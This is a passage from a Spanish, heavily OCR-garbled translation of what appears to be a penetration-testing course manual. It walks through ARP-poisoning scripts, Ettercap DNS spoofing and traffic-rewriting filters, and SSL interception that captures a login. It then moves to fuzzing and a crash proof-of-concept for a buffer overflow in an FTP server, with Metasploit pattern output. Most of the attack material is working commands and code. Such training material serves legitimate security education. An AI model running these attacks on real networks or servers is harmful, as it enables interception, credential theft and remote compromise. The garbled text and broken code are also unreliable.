TCP open netbios - ssn[ 139] from 192.168.0.110 ttl 128
TCP open netbios - ssn[ 139] from 192.168.0.157 ttl 64

root@bt:~#

Unicornscantambién tieneun motor de PHP que se puede activar través dela secuencia de
comandossetup-unicornscan.shcomprobar la wikiBackTrackpara masinformacional
respecto:

http://www.backtracklinux.org/wiki/index.php/Unicornscan
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5. Modulo 5: ARPSpoofing

Este médulointroduce al hombreARPen el medio MITM)ataques en unaed conmutada,y
variosderivados deactivos y pasivosie estos ataques

Obijetivos del moédulo

Al final deeste médulo, elestudiante debe:

1. Entender y secapaz de recreatos ataques ARRpoofing modificando manualmentdos
paquetesARPcon un editor hexadecimal

2. Ser compéente en el uso deEttercapy varios médulosales como DNSspoofingy SSL.

3. Posee una competencidasica enescribir filtrospersonalizadosEttercap

informesno hay informesde este mddulo.Este médulono contieneejercicios practicoporque
ARPspoofingno se debe realizaen los laboratorios devPN

Una Nota delos Autores

ARP Spoofinges unvector de ataquehorrendo. Es muy facide implementar y puedetener
consecuencias desastrosasectos enuna red local.Siusted no sabela diferenciaentre el
switch yun hub, o sino estan familiarizadogon el concepto despoofing ARP por favor visite
los siguientes enlaces:

http://en.wikipedia.org/wiki/ARP_spoofing
http://www.oxid.it/downloads/aprintro.swf
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5.1 Lateoriadetras deARPSpoofing

Debido respuestas ARRo se verificano comprobado de ninguna manerapn atacante puede
enviarunafalsarespuesta ARR un equipo de la victimalo que envenenasu cachéARP.Una
vez que unatacantecontrolala cachéARP que puede redirigir el traficode esa maquinaa
voluntad, en un entorno conmutado

5,2 Doing Itthe Hard Way

Su tareaes capturarel trafico entreuna victima yuna puerta de enlacesn una redconmutada.
Usted seréhacer estomediante la captura deuna peticion ARRHEXy luego editarlo para
adaptarse a susiecesidadesUna vez que hayaditado él, se levuelva a enviar epaquetea la
red mediantefile2 cable Vas acapturaresta respuestéARPR guardarloen el disco,y abralo con
un editor hexadecimal.

(Unttled) - Wireshark

He Edit Viaw Go Capture Analyza Statistice Help

SHEeE R xWE Re»DFE BB AQARAMA

) Hiter: v| 4 Expression...| w Ciear| v Appiy| I

Source | Destination | Protocol [ info 2l
86 Foxconn 27:69.71  Eroadcast ARP Who has 102,168 2 17 Bl 192 1582102
308 ThomsonT 23:d4:26 Foxconn 27:50:7f ARP 102.168.2.1 is at 00:00:00:23:d4:26 o

| | |
b Ethernet I, Src: ThomsonT_23:d4:¢6 (00:90:d0:23:d4:¢6), Dst: Foxconn_27:60:7f (00:15:58:27:69:
v Addresc Resolution Protocol (reply)
Hardware type: Ethernet (0x0001)
Protocol type: IP (0x0800)
Hardware size: 6
Protocol size: 4
Opcode: reply (0x0002)
Sender MAC address: ThnomsonT_23:d4:e6 (00:90:d0:23:d4:e6)
Sender IP address: 192.168.2.1 (192.168.2.1)
Target MAC address: Foxconn_27:69:77 (00:15:58:27:69:7f)
Target IP address: 192.168.2.102 (192.168.2.102| =
(| J 2l

oo MO0 15 58 27 69 7f D0 D0 dC 23 d4 e5 08 06 00 01

(Woxiom03 00 (6 04 0002 0090 d0 23 d4 e6 c0 ad 02 01
((leplo MO0 15 58 27 69 7f c0 a8 02 66 00 00 00 00 DO OOM..
(WlecioMO0 00 €O 00 00 00 00 00 D0 00 00 D0 02 18 bb 88

Il 1T

IFrame (frame), 64 bytes | F: 21 D: 21 M: 0 Drops: O S

<ok ] |
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Antes deasustarte respirahondo y observa lo siguiente:
- ARPpaquete Destina 00:15:58:27:69:7

- ARPpaquete Fuente 00:9Q dO: 23: d4: e6

- Remitentede direcciones MAC00:9Q dO: 23:d4: e6

- RemitenteDireccion 1P192.168.2.1C0 A802 01)

(Estadirecciones Imo sonrelevantes pardas practicas de laboratorioSimplementemostrar
mi red)

A ol kofe-% 2 | N\ | B==l5)
ASCIT 0ffset: GxO0082080 / GxI00GG03F (%00) -
)] pe 23 D4 E6 Q ML S

¢, Puede identificaestas direccionegn el paquete?Tome unminuto parahacer esto.
Ahora que tieneuna plantilla de respuest&RPR modificarlocon un editor hexadecimapara
implementar unARP Spoofingatacaren la red.

- Gateway:192.168.2.100:90 DO0: 23: D4. E6

- Atacante:192.168.2.1020:15:58:27:69:F

- Victima:192.168.2.11100:14:85:24:8: 15
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5.2.1Victimasde paquetes

El paquetevictimaa tratar deengafiar ala victima haciéndole creegue la direccionMAC del
atacantetiene la IPde la puerta de enlace predeterminad192.168.2.1)Para ellg debe
personalizara prima respuestaARP.

ARPcaché en elequipo de la victimaantes del ataque

YWINDOWS  system32'cmd.exe

Interface: 192.168.2.111 - Bx1808a5
Internet Address Physical Address Type
192.168.2.1 A0-20—-dB@-23-d4—-eb dynamic
192.168.2.182 AA-15-58-27-69-7f dynamic

C:\>

Prepareel paquete.Revisecon cuidado yasegurese de que entiendeada uno de loscambios
realizados
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Después de enviaeste paquetea la red mediantefile2cable maquinade la victimatiene la
siguienteARPentradas de la cachg

E:"-.,WINDDWS"-.,systen'BZ"-.,l:md.E:H:E

C:wrarp —a

Interface: 192.168.2.111 —— Bx1 6860685
Internet Address Phyzical Address
192 .168_2.1 BE—98—dB—-23—d4—eh
122 . 168_2.182 BA—15-58-27-69-7f

Cisarp —a

Interface: 192.168.2.111 —— Bx166085
Internet Address Phyzical Address Tupe
192.168.2.1 BA—15-58-27-69-7f dynamic
192 _168.2.182 B—15-58-27-69-7f dynamic

Porque cuanto masactualiado entradade caché de ARRiene prioridad todo el trafico
redirigido a la pasarelaAhora llegard a sudireccionMAC.
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5.2.2Puerta de enlacale paquetes

Ahora lo que necesitgara crearun paquete parala puerta de enlacejTienes quesngafiara la
puerta de enlacepor lo que eshacia adelante
todos los paqueteglestinados a lavictimaa la direccionMAC atacante

Skell - Konsole <2=
UX0RUPEEZA / UxBHBERO3F

7F 08 ( L 5ol s

Antes de envialos paquetes a laed, activar el reenvidP en los equiposque atacande manera
gue paquetes que llegara lavictimapara que el atacante noserd dado de bajaperopasa a la
puerta de enlace:

root@bt:~#  echo 1 > /proc/sys/net/ipv4/ip_forward
#!/bin/bash

while [ 1 ];do

file2cable -iethO -farp - victim

file2cable -iethO -farp - gateway
sleep 2

done

: ’ @BackTrackAcadem ‘i fb/BackTrackAcademy




Paginal] 126?

Ahora usted puede enviarespuestas ARR la puerta de enlacey la victimamediante un script
bashsimple:

root@bt:~#  ./arp - poison.sh

file2cable - by FX <fx@phenoelit.de>

Thanx got to Lamont Granquist & fyodor for their hexdump()
file2cable - by FX < fx@phenoelit.de>

Thanx got to Lamont Granquist & fyodor for their hexdump()

file2cable - by FX <fx@phenoelit.de>

Thanx got to Lamont Granquist & fyodor for their hexdump()

Ahora, el trafico enviadaa la Internetde la victimase envian primero akquipo atacantey luego
remitido a lapuerta de enlace Mediante la ejecucion deun sniffer enla maquina atacantese
ve quela victima tiendniciado unasesién FTR un servidorFTPen el Internet

vl
9 e
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Rle Edit View Go Capture Analyze

Statistics Help

BlEge s L xE Qe 0F 3 =

B &QQ

Rlter: I

LI & I_Expression...l '&Qlearl L4 APP'YI

No-| Tlvrne

] Source

I Destinaticn

ﬂrotocd Info

n

13 2.233685
14 2232700
15 2233707
16 7.233713
17 2.383605
18 2.388641
19 3.190642
20 3.190685
21 3.242610
22 3247638
23 3.562935
24 3 562967
25 4.160086
26 4160137
27 6.077487
28 6 077539

194.90.1.6
194.90.16
19490.16
194.90.1.6
192.158.2.111
192.158.2.111
192.158.2.111
192.158.2.111
194.90.16

19490.16

192.1568.2.111
192.168.2.111
192.168.2.111
192.168.2.111
192.158.2.111
192.158.2.111

192.166.2.111
192.168.2.111
192.168.2.111
192.168.7.111
194.90.1.5
194.90.1.6
191.90.1.5
191.90.1.5
192.168.2.111
192.188.2.111
194.90.1.6

g

19490.1.6
19490.1.5
104.90.1.6
104.90.1.4

ICP
TP
FTP
FTP
TCP
TCP
FTP
FTP
FTP
FIP
TCP
TCP
FTP
FTP
FTP
FTP

21 > 1042 |ACK] Seg=44 Ack=11 Win=2}
[TCP Dup ACK 13#1] 21 > 1042 [ACK] Se |
Response: 331 Arnonymous lagin ok, send]
[TCP Out-Of-Order] Response: 331 Anonyi
1042 > 21 [ACK] Seq=11 Ack=120 Win= ‘
[TCP Dup ACK 17#1] 1042 > 21 [ACK] Se:|
Request: PASS fip

[TCP Out-Of-Order] Reguest: PASS Tp
Response: 230 Anonymous access grante
[ TCP Out-Of-Order| Response: 230 Anony!
1042 > 21 [ACK] Seg=21 Ack=171 Win=
[TCP Dup ACK 23z#1] 1042 > 21 [ACK] 5=
Request: PORT 192,163,2 111,4,20

[TCP Out-Of-Ordezr] Request: PORT 192 16
[TCP Relransmission] Request: PORT 192,
ITCP Refransmission] Reauast: FCRT 192 =

e

e

| K1

I 0

|D Frame 13 (60 byles on wire, 60 byles caplured)

¥ Ethernet |I, Src: 00:30:00:23:d4:e6 (00:90:d0:23:d4:e6), Dst: 00:15:58:27:69:7f (00:15:58:27:69:1 =

(o[ Ie]

| BT

2]

0000 0015582769 710090 d023d4e508 004510 .X'. .#.E
010 0028 323d4000 3806 7¢ 0b ¢2 520106 ¢0at
1020 026700 1504 12 16 bd ce 14 21 05 1a 1c 50 10

1030 63 346 23 280 00 00 00 0000 00 00 00

(ol 2% 4 O

Ai>=@.8.-..2....
X o IOV

I Ale: “fimp/etherXXXXFOc480™ 2526 Bytas 00:... ] P: 28 D: 28 M: U Drops: 0

[ -y
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5,3 Ettercap

Como de costumbre las herramientapersonalizadase han creadgpara iniciarataques ARP
spoofing. Unabuena herramientgpara comprobarcon las plataformasie Windows esCain &
Abel, que se encuentran http://www.oxid.it/. Cain &Abel es una herramienta poderosa
capazde oler, spoofing ARP,DNSspoofing, el craqueode contrasefiasy mucho mas.

Mi herramienta favoritaspoofing ARP,sin embargo, esEttercap Segun lo descrito posus
autores,Ettercapes una suite paraITM ataquesen laLAN local. Caracteristica&ttercap
rastreadoresde conexiones en directpfiltrado de contenido enel volar, ymuchos trucos
interesantesEs compatible cordiseccidénactiva y pasiva denuchos protocolos

(inclusolos cifradog e incluyemuchascaracteristicas paral andlisis de redeg host.
Paraobtener Ettercapen marcha y funcionandpejecute elcomando siguiente:

root@bt:~# ettercap TG

ettercap NG - 0.7.3 copyright 2001 - 2004 ALOR & NaGA
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5.3.1DNSSpoofing

Para obtener masnformaciénacerca despoofing DNS,por favor visite:
http://www.securesphere.net/download/papers/dnsspoof.htm

Después de familiarizarsested mismo, ustecpuede personalizar sSiDNSspoofing fichero de
configuracion:/ usr/ share / ettercap/ etter.dng

microsoft.com A 192.168.2.114
* microsoft.com A 192.168.2.114

www.microsoft.com PTR 192.168.2.114 # Wildcards in PTR are not allowed

Una vez que lavictima (92.168.2.111) intentaavegara *. Microsoft.com su peticionDNSes
interceptado yreemplazadocon su entraday la victimasera redirigidoal servidorweb atacar
(192.168.2.114).

9 oxymoron - Mozilla Firefox -0l x|

File Edit ‘Wiew History Bookmarks Tools  Help

<ﬁ - - @ ﬁ L1 bkt fumana, mickosaft, com)f | B * Google b,

P cetting Started I:,I. Latest Headlines

0XyInoTon
% pl oxymora of 0Xymo-rons

A thetorical figure i which incongruonus or contradictory termns are combined, as
in Micrasaft Security, Microsaft Help and Microsaft Waorks.

[Greek oxwmoron, fom neuter of cxweoros, poinfediy foalich © oxus, sharp, see
0Xygen + moros, fackish, dull ]

oxymoromwic .
oxymoroni-cally adv.

Portions sourced from The American Heritage® Dictionary af the Erglish Language,
Fourth Hdition

Capyright © 2000 by Houghton Mifilin Company.

FPublished by Houghton Mifilin Company, All rights reserved.

=
4

| Done
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5.3.2Jugar conel trafico

Una de lascaracteristicas mas potentade Ettercapesla capacidad de creafiltros
manualmentee incluir ellosen la aplicacién en ejecuciorSi lo hace pfrece un sinfin de
posibilidades

Echa un vistazo #a siguiente pagina HTML

Mozilla Firefox

file [Cdit View Go Dookmerks Tecols |llelp a,::g

1@ @ £ 8 hitp-Ifwww offensive-secanty cam/etter him 0{ Go 7@- [

Remote-Exploit MiwOrm Metasploit Securityfocus Packet Storm [RiEZEs SomaFM

Gogle v I»Q Q] : |Glsearch v & *¥ Check ¥ "1 AutcLnk »
Proxy: # fpply -/ Edit LaRemove [JAdd | Status: Lllsing Nn Proxy #, Precerences
Hi muls,

Your wark rocks !

You are hired ! |
The bess

I 7} ]
Dune Fasl Proxy I‘June‘ Tur Discbied ,;l

Ahora va a creaun filtro Ettercapsimple quereemplazaravarias palabragn esta paginaen
tiempo real.Una vez que laictimase desplaza asta pagina.l trafico sera redirigidoa través
de lamaquinaatacante.Ettercafinspeccionaeste traficoy se puedemaodificaren tiempo real.

e 7 )
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Desea cambiata palabra“piedras"a "apesta" y la palabrdcontratadd’ por "despedido”.
Mirando eldirectorio / usr / share / ettercap/ archivo etter filter.examplesse puede ver
algunosejemplos de filtroshasicos.

Ahora, creeel filtro:

if (ip.proto == TCP && search(DATA.data, "rocks") ) {
log(DATA.data, "tmp/muts_ettercap.log");
replace("rocks", "stinks");

msg("Stinks substituted and logged. \n");
}

if (ip.proto == TCP && search(DATA.data, "hired") ) {
log(DATA.data, "tmp/muts_ettercap.log");
replace("hired", "fired");

msg("Fired substituted and logged. \'n");

}

Una vez que lavictimaa visitadoestapagina, Ettercapmanipula los datosy los cambios ddos
camposque se indican:

ol ¢
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Start Brgets Hosts View Mitm Hlters Logging Plugins Help
Host List x

ettercap NG-0.7.3

IP Address MAC Address Description
192.168.2.1 00:90:D0:23:D4:E6

192.168.2.109 00:01:4A:01:D5:9D
192.168.2.111 00:14:85:24:2B:15

Delete Host Add to Target 1 Add to Target 2

L e e —oE e~ e S o —

GROUP 2 :192.168.2.111 00:14:85:24:2B:15
Starting Unified sniffing...

Stinks substituted and logged.
Fired substituted and logged.

¥ Mozilla Firefox =10l x|

File Edit Wiew History EBookmarks Tools  Help
@l T T @ A | /IJ} |E| http: [ e, offensive-security . comfetter, hkml |‘F| [i'] |'|Gnogle |‘-1,,]

" Getting Started EJ, Latest Headlines

Hi muts,

Tour worle stinkes |
You are fired |

The boss

| Dane o

Tomese su tiempo pargensar en laxonsecuencias deste ataquey de susposibles
consecuenciasse debe te hacen sentiincomodo acerca de la conexiom los recursogrivados
de una red insegura.

wadh ;
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5.3.3SSIHombre en el Medio

A menudo creen ciegamente queel trafico cifradoSSL esegura,a menudo vemossitiosjactan
de que son"Hacker Safe", ya que utilizaBSLDa la casualidad d&Sles tan seguracomo los
usuariosque lo utilizan.trafico SSLpuede ser interceptadey manipuladayy el trafico detexto
claro puede ser extraido deella,como es evidente era siguiendo el ejemplo

v l@ ettercap NG-0.7.3

=@ X
Start Targets Hosts View Mitm Filters Logging Plugins Help
| Host List x
IP Address MAC Address Description ;I
17,100, 1.1 VU AA U T U Z1L. AL

192.168.1.100 00:13:A9:C0:44:DC
192.168.1.103 00:18:8B:D2:53:70
192.168.1.106 00:0C:29:4D:0B:C0O
192.168.1.107 00:50:56:00:01:01
192.168.1.108 00:0C:29:59:B0:8E
192.166.1.109 00:0C:29:B5:7E:EF

Delete Host Add to Target 1 Add to Target 2

......

GROUP 1:192.168.1.1 00:1A:70:FD:21:AE -1

GROUP 2 :192.168.1.109 00:0C:29:B5:7E:EF
Starting Unified sniffing...

HTTP : 64.233.169.99:443 -> USER: myusername PASS: mypassword INFO: https://
www.google.com/accounts/Login?continue=http://www.google.com/&hl=en i :‘\

¢,Puede ustedmaginar comoesteataque funcion® La captura de pantallasiguientedeberia
proporcionar unbuen consejo

w"f ;
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Security Alert PX

changed by others. However, there iz a problem with the zite's
zecunty certificate.

W Infornation pou exchange with this site cannot be viewed or
i

& The zecurity certificate was izsued by a company pau have
not chozen to trust, Yiew the certificate to determine whether
yaL want ta truzt the certifping authariky,

Q The zecurity certificate date iz valid.

o The zecurity certificate haz a vwalid name matching the name
of the page pou are tiving ko view. %

Do you want to proceed?

ez ] [ Mo l ["-@'iew Certificate
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6. Modulo 6: Buffer Overflow Explotacion

Este modulo introduce a los estudiantes al mundo de la exgaloion de software en
Windows yLinux ambientes.

Objetivos del médulo
Al final de estemédulo, los estudiantes deben:

1. Sentirse cdmodo con la distribucion BackTrack Linux para encontamaalizar y
explotar sencillovulnerabilidades de desbordamiento de bufer

2. Ser capaz de utilizar depuradores de Windows y Linux (depurador de Inmunjdad
GDB, EDB) para finete explotacion

3. Comprender los mecanismos detras de la operacion shellcode

informesAviso es necesario para este médulo como se describe en los ejercicios.

Los desbordamientos del bufer es uno de mis temas favoritos en la segutidéensiva.
Siempre me parece fascinante (le alguna manera mistica) a pensar acerca de los
procedimientos muy precisos que se producen cuando un exploit se utiliza para
ejecutar codigo de forma remota en una maquina de la victima.

Esta leccion le guia &ravés de un ejemplo vivo de un desbordamiento de bufer y pasa
a través de las distintas etapatel ciclo de vida de desarrollo de exploit. Al final de este
modulo, el alumno portar su recién escritexplotar al Metasploit Framework y disfrutar
la gloria ce las diversas opciones de ejecucion de cédigo.

Siempre he pensado que los atagues de desbordamiento de buffer se complicaron de
verdad. Soélo después de que escribi mi primera hazaiiae comprender la relativa
simplicidad de los ataques de desbordamientte bufer. Usted debe, sin embargo,
tienen variosrequisitos bajo su cinturén. Te sugiero que hagas un poco de lectura en la
memoria de Windowsgestion y familiarizarse con algunas instrucciones de montaje
basicos (JMP / CALL, MOV, etnicendido) y registre de la CPU (ESP, EBP, EIP, y asi
sucesivamente).

Estos son algunos enlaces que puede que desee visitar si estos temas son ajenas a ti:
http://en.wikipedia.org/wiki/Buffer_overflow
http://en.wikipedia.org/wiki/32bit_x86_assembly programming

ol
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6,1 buscando insectos

Las primeras preguntas que suelen surgir son: "¢, Como diablos son estdmbic
encuentra? ¢ Como sabias quebytes en el comando Y se blogueaba la aplicacion y
dar lugar a un desbordamiento de buffer? "

En términos generales, hay tres formas principales de la identificacion de fallas en las
aplicaciones. Si el codigo fuentde la aplicacion esta disponible, revision del codigo
fuente es probablemente la forma maséil de identificar errores. Sa aplicacion es de
cédigo cerrado, puede utilizar técnicas de ingenieria inversa o fuzzing para encontrar
errores.

Este mddulo describe el fuzzing.

6,2 Fuzzing

Fuzzing implica el envio de cadenas con formato incorrecto erehtrada de la
aplicacion y observando inesperadchoques. Hay muchos fuzzers util, la mayoria de

los cuales estan presentes en BackTrack (/ pentest / fuzzers).
Considereeste sencillduzzer FTP:

#!/usr/bin/python

import socket

# Create an array of buffers, from 20 to 2000, with increments of 20.
buffer=["A"]

counter=20

while len(buffer) <= 30:

buffer.append("A™*counter)

counter=counter+100

# Define the FTP commands to be fuzzed
commands=["MKD","CWD","STOR"]

# Run the fuzzing loop

for command in commands:

for string in buffer:

print AFuzzing 6 + command + " with Il ength:" +str(len(st
s=socket.socket(socket.AF_INET, socket. SOCK_STREAM)

connect=s.connect(('192.168.244.129',21)) # hardcoded IP address
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s.recv(1024)
s.send('USER ft p\ r\ n’) # login procedure

s.recv(1024)

s.send('PASS ftp \r\n)

s.recv(1024)

s.send(command + ' ' + string +' \ r\ n) # evil buffer
s.recv(1024)

s.send('QUIT \r\n)

s.close()

Este es ekjemplo mas simple daun fuzzer pudieraocurrir. Reviseel codigoy tratar de
entenderla légicadetras del proceso dduzzing. Recuerde que estéuzzeres muy limitadoy
no debe serutilizado para el mundo realfuzzing. Es sélo urpequefio ejemplopara demostrar
el proceso defuzzing.

Pruebe estduzzeren un pequefosewidor FTP servidorv2.3.4Capacidad

root @ bt.. ~ #/ simple - fuzzer.py
Fuzzing MKD: 1

Fuzzing MKD: 20

MKD fuzzing: 40

Fuzzing MKD: 60

Fuzzing STOR: 900

Fuzzing STOR: 920

Fuzzing STOR: 940

Traceback (most recent call last):

Archivo ". / Simple - fuzzer.py", linea 26, en?
s.recv (1024)

socket.error: (104, 'Connection reset by peer’)

root @ bt: ~ #

Capacidaddel servidorse bloquea debidoal comando STORBytes<940> y el script finaliza
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6.3 Explotaciénde WindowsDesbordamientos debufer

6.3.1Replicar elCrash

Ya has vistayue un accidente ocurriécuando se envia urtomando STORcon cerca de 1000
bytes.Su primera tareaes tratar dereplicarel accidentecon el fin deestudiarlo.Comienza
escribiendoun simple scripten Python quese registra erel servidorFTPy envia uncomando
STORdemasiadolargo:

#!/usr/bin/python

import socket

s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
buffer =" \ x41' * 2000

print"  \ nSending evil buffer..."
s.connect(('192.168.103.128',21))

data = s.recv(1024)

s.send('USER ftp' +' \r\n)

data = s.recv(1024)

s.send('PASS ftp' +' \r\n)

data = s.recv(1024)

s.send('STOR ' +buffer+' \r\n)

s.close()

Ahora, ve asuequipo con Windowsy adjuntarservidorCapacidad paraOllyDbg, como se
muestraen el video.una vezadjunto, ejecute lasecuencia de comandode Pythony ver
OllyDbgde cerca:

bttmp#  ./ability - poc.py
Sending evil buffer...

bt tmp #
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Observe que ektampon demasiadolargo tiene segmentossobrescritosen la memorig que
eventualmentesobrescribir [2EIP:

OllyDbg - Ability Server.exe - [CPU - thread 00000634 ]
File “iew Debug Plugins Options ‘Window Help

=181 %]
=181

Blex]| win] wiv ¥4 Y| % LIE[MT|W]

n/c|/]x|B[r]-fs| i=l#]?]

Registers (FPUI

ERx BEEHEEE 1
ECx B13rFFOC
EDX FFFFFFFF
EBX BBR0ET0DS
ESF B137ESES ASCII "RAARAARARARARARARARRARA
EBF BEZFC2E3
ESI BEEEEEEE
EDI BBzFCZ274

EIF 41414141

EFL B@n@az262 (MO, MB.MNE,A,HE, PO, GE, 5]

ST empty B.8

STl empty B.8

ST2 empty E.8

ST2 empty H.8

S5T4 empty -LUMOREM FEIC BB88E880E SEEEEEEE
1 QSRR GGETEE]EG 1

5]
a
:
S FS 8832 SZbit FFFOVEEE(FFF)
5]
5]

ES 8822 3Zbit BIFFFFFFFF)
CS @8alE 3zbit BIFFFFFFFF)
55 BE23 3Zbit WIFFFFFFFF]
05 BE22 22bit BIFFFFFFFF)

G5 888 MHULL
LastErr ERROR_ALRERDY_EXISTS [QE0EE

Addrezs |Hex dump ASCII 41414141 "
D04 1E000| 00 08 G0 00| 81 9r 41 O8] ., .. G0F plErEEEL| 4141414l

AR41EAAZ| 98 1A 46 B8 B8 AR AR BE( EME. .. .. G137EECY| 41414141

HE41EB1E) B8 BE BE B8 68 B6 868 68| ........ A1EFEECE| 41414141 ._J
HE41EELS) B8 QE BE B8 08 G0 88 88| ........ A1EFEECC| 41414141

AE41EHZ2E) 42 &6F V5 &C| 64 20 6E &F| Could no A1ETES0R| 41414141

AE41EE22) 74 20 &9 SE| 69 P4 &9 &1t initia B1o7EEDY| 41414141

HE41EB3E| 5C &9 73 65|28 72 &F 63| lise soc A1E7EE0Z| 41414141

HE41EA22)| 6B &5 74 F3| ZE B0 88 88| kets.... A1AFEE0C| 41414141

AR41ER4A| 45 72 72 &6F| 72 BA AR @8| Error... G137EEED| 41414141

AE41EB42) 58 V4 74 V8| 08 BE 88 88| http.... A1EFEEE4| 41414141

OE41EREE| &8 T4 VE B8| 65 &0 &1 &9 ftp.emal » | aiz7EcES| 41414141 -
AE41ERSE ) 60 AH B8 BE| 6C 6F 67 72| L. .. logs PSR dididaal

Access violation when executing [41414141] - use Shift+F7/F8/F9 to pazs exception to program | | Pauzed

Debido a que laElPcontrola elflujo de ejecucion deprograma, ahora se puedesecuestrar el
flujo de la aplicacion y redirigir Iaolicitud para continuata ejecucién delo que quieras.Lo que

suele ocurriren estassituaciones es quel atacanteintroduce su codigo decuenta €hellcode),

por lo generaldentro del buffer.
Despuésflujo de ejecucidnse gana esredirigido ashellcodedel atacante.
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Antes de la cargaen el cédigoexploit,usted todavia tiene quesstudiarel accidentey
entenderlomejor. estos son

sélo algunas de lapreguntas que necesitan respuesta

- Qué cuatrobytesson losque sobrescribifEIP?

- ¢ Hay suficiente espacien el bufferpara ingresar ecédigo de shelP

- ¢ Esesteshellcodefaciimente accesibleen la memoria?

- ¢La aplicacidfiiltrar lospersonajes?

- Va aencontrartodos los mecanismosle protecciénde desbordamient®

6.3.2Control deEIP

Para controlarEIP es necesario encontralasespecificazuatro bytesen el bufferque
sobrescribenHay varias maneras déacer esto.Las secciones siguientes presentdas de
ellos.

6.3.2.1Andalisis del arbobinario

En vez de2000 como, enviar1000A y B1000.SiEIPse sobrescribe coms,usted sabe las
cuatro bytesresidenen laprimera mitadde la memoria intermediaEntonces usted puede
tomar los primeros 100@ampones,cambiarlosa 500como y 500 Csy enviarel bafer de nuevo
SiEIPse sobrescribe corCs usted sabeque los cuatrobytesresidiren el intervalo debyte 500-
1000. Continuarla division debufer especificchasta llegar a logsuatro bytesexactosque
sobreescribirEIP Matematicamente esto debesucederen sieteiteraciones.
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6.3.2.2Envio deuna cadena Unica

Elmétodo mas rapido paraa identificacién deestosbyteses enviaruna cadena unica de2000
bytesy localice elcuatro bytesque sobrescribifEIPinmediatamente Que va a utilizareste
método en este ejercicio.

Puede generar estduffer usandola secuencia de comandogrubi (pattern_create.rb)
suminigrada con elMetasploitMarco (mas sobreMetasploitméas adelante en emdédulo):
root@bt:~#  cd /pentest/exploits/framework3/

bt framework3 # cd tools/

bt tools # Jpattern_create.rb 2000

AaOAalAa2Aa3Aa4Aas5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5AD6AL7AD8ADIACOACIAC2AC3AC4ACSACE
Ac7Ac8Ac9Ad0

Ad1Ad2Ad3Ad4Ad5AdEAd7AIBAdIAC0Ae 1Ae2Ae3Ae4A5AE6AET AcBACIATOATLAT2ATBATAATSATGAST
AfBAT9AGOAgL

Ag2Ag3Ag4Ag5AG6AG7AGBAGIANOANLAN2AN3ANAANSARGAh7ANBARIAIDAI1AIZAIBAI4AISAIBAITAIS
AI9AOAI1A]2

Aj3Aj4A]5Aj6A]7AJBA9AKOAKIAK2 Ak3AKAAKSAKEAK7AKBAKIAIOAILAI2AIBAI4AISAIGAIT AIBAI9
AmOAM1AmM2Am3

Am4AM5AMB6AM7AMBAMIANOANLIANZ2AN3AN4AN5AN6AN7AN8AN9A00A01A02A03A04BA06A07A08A09AP0
AplAp2Ap3Apad

ApPS5AP6ApP7AP8AP9AQOAGLAGg2Ag3Ag4Aq5Ag6Aq7AGBAQqOATrOArIAr2Ar3ArdArSAr6Ar7Ar8Ar9AsOAsL
As2As3As4As5

AsB6As7AS8ASIAIOAILAI2AL3At4AISAL6AL7 AtBAIOAUOAUTAU2AU3AU4AUSAUBAUT7AUBAUSAVOAVIAV2
Av3AV4AV5AV6

Av7AV8AVIAWOAWIAW2 AW3AWAAWSAWB AWMV AWIAXOAXIAX2AX3AX4AXSAXBAXT AXBAXIAY0AY1Ay2AY3
Ay4Ay5Ay6AY7

Ay8AYy9AZ0Az1Az2AZz3Az4AZ5Az6Az7Az8Az9Ba0BalBa2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bh3Bb4
Bb5Bb6Bb7Bb8

Bb9BcOBc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8BcOBd0OBd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Bel1Be2Be3Be4Be5
Be6Be7Be8Be9

BfOBf1Bf2Bf3Bf4Bf5B6Bf7Bf8BOBg0By1By2Bg3By4Bg5Bg6By7Bg8BgIBh0Bh1Bh2BNh3Bh4Bh5Bh6
Bh7Bh8Bh9BI0

Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9B|0Bj1Bj2Bj3Bj4Bj5Bj6B]7Bj8Bj9Bk0Bk1Bk2BK3BKABK5BK6BK7
Bk8BkIBIOBI1

BI2BI3BI4BI5BI6BI7BI8BI9BMOBM1BM2BmMm3BM4Bm5BmM6BmM7Bm8BmM9Bn0Bn1Bn2Bn3Bn4Bn5BN6BN7BNn8
Bn9Bo0Bo1Bo02

Bo3B04Bo5B06Bo7B08B09Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bg1Bg2Bg3Bq4Bg5Bq6Bq7Bg38Bg9
BrOBr1Br2Br3

Br4Br5Br6Br7Br8BroBsO0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8BtOBu0
BulBu2Bu3Bu4
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Bu5Bu6Bu7Bu8Bu9Bv0OBv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8BvOBWOBW1Bw2Bw3Bw4Bw5Bw6BwW7Bw8BwWOBX0Bx1
Bx2Bx3Bx4Bx5

Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6B  z7Bz8Bz9Ca0CalCa2
Ca3Ca4Cas5Cab

Ca7Ca8Ca9Cb0Cb1Cb2Cbh3Cb4Cbh5Cb6Ch7Ch8Ch9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cec8CcCd0Cd1Cd2Cd3
Cd4Cd5CdeCd7

Cd8Cd9Ce0Cel1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9CfOCT1CI2Cf3CACI5C6Cf7Cf8CFICg0Cy1Cg2Cg3Cy4
Cg5Cg6Cg7Cg8

Cg9ChOCh1Ch2Ch3Ch4Ch5Ch6Ch7Ch8®ICIOCi1Ci2Ci3CidCi5Ci6Ci7Ci8Ci9Ci0C)1Cj2Ci3CiACi5
Ci6Cj7Ci8Cj9

CkOCk1Ck2Ck3Ck4CKk5Ck6Ck7Ck8CKICIOCILCI2CI3CI4CI5CIBCI7CIBCI9CMOCM1CM2Cm3Cm4Cm5Cm6
Cm7Cm8Cm9Cn0

Cnl1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9C00C01C02C03C04Co5Co0

bt tools #

Ahora reemplaceel 2000como en estebufer y enviarlo.Como era de esperarlos accidentes
